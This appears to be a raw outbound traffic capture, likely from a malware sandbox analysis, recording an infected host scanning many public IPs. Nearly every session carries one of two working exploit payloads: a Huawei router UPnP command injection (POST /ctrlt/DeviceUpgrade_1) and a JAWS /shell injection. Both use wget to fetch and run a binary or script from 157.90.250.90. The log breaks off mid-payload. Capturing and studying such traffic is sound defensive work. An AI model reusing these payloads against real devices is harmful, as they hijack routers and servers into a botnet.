Dec 3, 2024 21:02:03.315335989 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	55160	197.172.237.132	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.556010008 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	51776	156.185.158.141	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.556514025 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	50790	156.203.96.111	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.556997061 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	57886	167.253.159.61	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.663295984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	39960	4.65.158.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.664125919 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	50104	196.18.47.40	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.664959908 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	57544	94.96.69.236	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.665837049 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	44846	105.246.121.171	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.782217026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	54148	46.237.250.155	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.782831907 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	44046	141.213.246.18	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.789346933 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	42036	190.72.224.255	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.949584961 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	45102	80.226.46.63	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.950280905 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	50184	110.168.236.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.950809002 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	55652	64.190.107.191	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.951384068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	39356	12.134.175.231	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:04.933773994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	41946	58.31.21.36	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:04.934751034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	34094	76.193.203.19	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:04.935667038 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	52870	161.95.100.237	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:04.936367035 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	36080	72.84.245.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:04.937328100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	51598	41.169.6.242	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.460057020 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	58546	156.169.162.255	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.460711002 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	51588	41.122.176.16	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.461319923 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	42240	197.3.211.255	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.461930990 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 